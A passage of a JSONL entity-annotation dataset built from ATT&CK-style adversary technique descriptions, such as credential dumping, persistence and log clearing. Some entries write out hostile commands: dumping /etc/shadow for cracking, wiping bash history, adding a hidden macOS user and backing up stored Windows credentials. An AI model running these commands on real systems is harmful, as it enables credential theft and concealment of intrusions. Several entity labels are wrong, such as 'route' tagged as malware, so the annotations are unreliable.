"apt_reports", "name": "Hidden Window"}}
+{"text": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {"MALWARE: route": [[30, 35]]}, "info": {"source": "apt_reports", "name": "Transmitted Data Manipulation"}}
+{"text": "Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility. ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install. As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on User Execution. When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.\n\nAdversaries may also abuse ClickOnce to execute malware via a Rundll32 script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., Registry Run Keys / Startup Folder).", "spans": {"TOOL: rundll32": [[1076, 1084]], "SYSTEM: Windows": [[124, 131], [211, 218]], "SYSTEM: .NET": [[225, 229], [876, 880]]}, "info": {"source": "apt_reports", "name": "ClickOnce"}}
+{"text": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", "spans": {"SYSTEM: Python": [[22, 28], [65, 71], [167, 173], [351, 357], [410, 416]]}, "info": {"source": "apt_reports", "name": "Python"}}
+{"text": "Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with File Deletion to cleanup older artifacts.\n\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., Match Legitimate Resource Name or Location). Payloads may also be repositioned to target File/Path Exclusions as well as specific locations associated with establishing Persistence.\n\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as User Execution and Phishing) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., Timestomp).", "spans": {}, "info": {"source": "apt_reports", "name": "Relocate Malware"}}
+{"text": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).", "spans": {}, "info": {"source": "apt_reports", "name": "Identify Roles"}}
+{"text": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.  Some data encoding systems may also result in data compression, such as gzip.", "spans": {}, "info": {"source": "apt_reports", "name": "Data Encoding"}}
+{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. \n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.  Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.", "spans": {"SYSTEM: Windows": [[297, 304], [323, 330], [397, 404], [423, 430], [930, 937]], "SYSTEM: Windows 8": [[930, 939]], "ORGANIZATION: Microsoft": [[287, 296], [387, 396]]}, "info": {"source": "apt_reports", "name": "AppInit DLLs"}}
+{"text": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).", "spans": {"VULNERABILITY: spearphishing": [[499, 512], [517, 530]], "VULNERABILITY: phishing": [[21, 29], [406, 414], [664, 672], [895, 903]]}, "info": {"source": "apt_reports", "name": "Phishing for Information"}}
+{"text": "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nResource hijacking may take a number of different forms. For example, adversaries may:\n\n* Leverage compute resources in order to mine cryptocurrency\n* Sell network bandwidth to proxy networks\n* Generate SMS traffic for profit\n* Abuse cloud-based messaging services to send large quantities of spam messages\n\nIn some cases, adversaries may leverage multiple types of Resource Hijacking at once.", "spans": {}, "info": {"source": "apt_reports", "name": "Resource Hijacking"}}
+{"text": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing. In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to Acquire Infrastructure for malicious purposes.", "spans": {"SYSTEM: GitHub": [[797, 803]], "SYSTEM: Docker": [[805, 811]], "ORGANIZATION: Facebook": [[760, 768]], "ORGANIZATION: Google": [[789, 795]]}, "info": {"source": "apt_reports", "name": "Establish Accounts"}}
+{"text": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.", "spans": {}, "info": {"source": "apt_reports", "name": "Obtain Capabilities"}}
+{"text": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.", "spans": {"FILEPATH: C:\\Windows\\System32": [[326, 345]], "FILEPATH: C:\\Windows\\sysWOW64": [[365, 384]], "SYSTEM: Windows": [[261, 268], [329, 336], [368, 375], [404, 411], [464, 471]]}, "info": {"source": "apt_reports", "name": "Screensaver"}}
+{"text": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> .", "spans": {"SYSTEM: macOS": [[22, 27]]}, "info": {"source": "apt_reports", "name": "Hidden Users"}}
+{"text": "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication. In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested. These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing Multi-Factor Authentication requirements, or allowing additional Unused/Unsupported Cloud Regions, adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.", "spans": {"SYSTEM: Entra ID": [[327, 335]], "SYSTEM: GCP": [[637, 640]], "SYSTEM: AWS": [[629, 632]], "ORGANIZATION: Okta": [[337, 341]]}, "info": {"source": "apt_reports", "name": "Conditional Access Policies"}}
+{"text": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may Create Snapshot of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect Data from Local System or for Remote Data Staging.\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", "spans": {}, "info": {"source": "apt_reports", "name": "Create Cloud Instance"}}
+{"text": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to Obfuscated Files or Information, text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Spearphishing Attachment. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.", "spans": {"SYSTEM: macOS": [[655, 660]], "SYSTEM: Linux": [[661, 666]]}, "info": {"source": "apt_reports", "name": "Compile After Delivery"}}
+{"text": "Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.  \n\nSecrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.  \n\nIf an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged Cloud Accounts or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.\n\n**Note:** this technique is distinct from Cloud Instance Metadata API in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.", "spans": {"SYSTEM: GCP": [[111, 114], [873, 876]], "SYSTEM: AWS": [[90, 93], [839, 842]], "SYSTEM: Azure": [[131, 136], [912, 917]]}, "info": {"source": "apt_reports", "name": "Cloud Secrets Management Stores"}}
+{"text": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or Unsecured Credentials contained within software's source code.  Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts.\n\n**Note:** This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.", "spans": {"SYSTEM: GitLab": [[246, 252]]}, "info": {"source": "apt_reports", "name": "Code Repositories"}}
+{"text": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {"MALWARE: route": [[30, 35]]}, "info": {"source": "apt_reports", "name": "Transmitted Data Manipulation"}}
+{"text": "Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information, including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.\n\nLinux stores user information such as user ID, group ID, home directory path, and login shell in <code>/etc/passwd</code>. A \"user\" on the system may belong to a person or a service. All password hashes are stored in <code>/etc/shadow</code> - including entries for users with no passwords and users with locked or disabled accounts.\n\nAdversaries may attempt to read or dump the <code>/etc/passwd</code> and <code>/etc/shadow</code> files on Linux systems via command line utilities such as the <code>cat</code> command. Additionally, the Linux utility <code>unshadow</code> can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command <code>/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>. Since the user information stored in <code>/etc/passwd</code> are linked to the password hashes in <code>/etc/shadow</code>, an adversary would need to have access to both.", "spans": {"FILEPATH: /etc/passwd</code>": [[54, 72], [202, 220], [798, 816], [1255, 1273]], "FILEPATH: /etc/shadow</code>": [[83, 101], [231, 249], [358, 376], [636, 654], [827, 845]], "FILEPATH: /etc/shadow</code>.": [[320, 339]], "FILEPATH: /etc/passwd</code>.": [[516, 535]], "FILEPATH: /usr/bin/unshadow": [[1137, 1154]], "FILEPATH: /etc/passwd": [[1155, 1166]], "FILEPATH: /etc/shadow": [[1167, 1178]], "FILEPATH: /tmp/crack.password.db</code>.": [[1181, 1211]], "FILEPATH: /etc/shadow</code>,": [[1317, 1336]], "TOOL: John the Ripper": [[1084, 1099]], "SYSTEM: Linux": [[151, 156], [413, 418], [855, 860], [952, 957]]}, "info": {"source": "apt_reports", "name": "/etc/passwd and /etc/shadow"}}
+{"text": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.  Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time. Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the Launchctl command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>. The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.", "spans": {}, "info": {"source": "apt_reports", "name": "Launch Agent"}}
+{"text": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence (Create or Modify System Process), but adversaries can also abuse services for one-time or temporary execution.", "spans": {}, "info": {"source": "apt_reports", "name": "System Services"}}
+{"text": "Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.", "spans": {"TOOL: SSH": [[372, 375]], "TOOL: cmd": [[90, 93], [404, 407], [698, 701], [764, 767], [808, 811]], "SYSTEM: Windows": [[26, 33], [67, 74], [128, 135], [149, 156]]}, "info": {"source": "apt_reports", "name": "Windows Command Shell"}}
+{"text": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd. \n\nOther techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep). \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"FILEPATH: /proc/[pid]</code>)": [[371, 390]], "FILEPATH: /proc/[pid]/maps</code>": [[1033, 1056]]}, "info": {"source": "apt_reports", "name": "Proc Memory"}}
+{"text": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX.  CHM content is displayed using underlying components of the Internet Explorer browser  loaded by the HTML Help executable program (hh.exe). \n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe.", "spans": {"SYSTEM: Java": [[251, 255]], "SYSTEM: Internet Explorer": [[331, 348]], "ORGANIZATION: Microsoft": [[67, 76]]}, "info": {"source": "apt_reports", "name": "Compiled HTML File"}}
+{"text": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems. In some cases, adversary groups may form partnerships to share compromised systems with each other.\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., Web Shell) or established access via External Remote Services. In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a Trusted Relationship, Multi-Factor Authentication Interception, or even Supply Chain Compromise.\n\n**Note:** while this technique is distinct from other behaviors such as Purchase Technical Data and Credentials, they may often be used in conjunction (especially where the acquired foothold requires Valid Accounts).", "spans": {"MALWARE: Interception": [[1361, 1373]]}, "info": {"source": "apt_reports", "name": "Acquire Access"}}
+{"text": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.     Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging.  Adding new capabilities for the adversary’s purpose include Keylogging, Multi-hop Proxy, and Port Knocking.\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with Downgrade System Image, one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via TFTP Boot. \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with ROMMONkit to achieve persistence.", "spans": {}, "info": {"source": "apt_reports", "name": "Patch System Image"}}
+{"text": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.\n\nPassword hashes for target services may be obtained using OS Credential Dumping or Kerberoasting.", "spans": {"SYSTEM: Kerberos": [[102, 110], [180, 188]], "SYSTEM: SharePoint": [[73, 83]], "VULNERABILITY: Kerberoasting": [[728, 741]]}, "info": {"source": "apt_reports", "name": "Silver Ticket"}}
+{"text": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., Transfer Data to Cloud Account). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.", "spans": {"SYSTEM: Slack": [[1610, 1615]], "SYSTEM: Microsoft Teams": [[1620, 1635]], "SYSTEM: SharePoint": [[1534, 1544]], "SYSTEM: Confluence": [[1546, 1556]], "SYSTEM: AWS": [[1911, 1914]], "SYSTEM: Redis": [[1950, 1955]], "ORGANIZATION: Microsoft": [[1620, 1629]]}, "info": {"source": "apt_reports", "name": "Data from Information Repositories"}}
+{"text": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, Modify Registry, Plist File Modification, or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence. Adversaries may also delete accounts previously created to maintain persistence (i.e. Create Account).\n\nIn some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.", "spans": {}, "info": {"source": "apt_reports", "name": "Clear Persistence"}}
+{"text": "Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts. \n\nFor example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more. Adversaries may be able to leverage these tools in order to support further actions, such as File and Directory Discovery or Data Encrypted for Impact.", "spans": {"TOOL: cmd": [[307, 310]], "SYSTEM: ESXi": [[261, 265]]}, "info": {"source": "apt_reports", "name": "Hypervisor CLI"}}
+{"text": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.", "spans": {"SYSTEM: macOS": [[160, 165]], "SYSTEM: Linux": [[170, 175]]}, "info": {"source": "apt_reports", "name": "Clear Command History"}}
+{"text": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.", "spans": {"FILEPATH: %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`.": [[748, 827]], "TOOL: rundll32": [[1597, 1605]], "SYSTEM: Edge": [[476, 480]], "SYSTEM: Kerberos": [[215, 223]], "SYSTEM: NTLM": [[207, 211]], "SYSTEM: Windows": [[45, 52], [267, 274], [289, 296], [639, 646], [1008, 1015], [1101, 1108], [1336, 1343]], "SYSTEM: Internet Explorer": [[444, 461]], "ORGANIZATION: Microsoft": [[466, 475], [794, 803]]}, "info": {"source": "apt_reports", "name": "Windows Credential Manager"}}
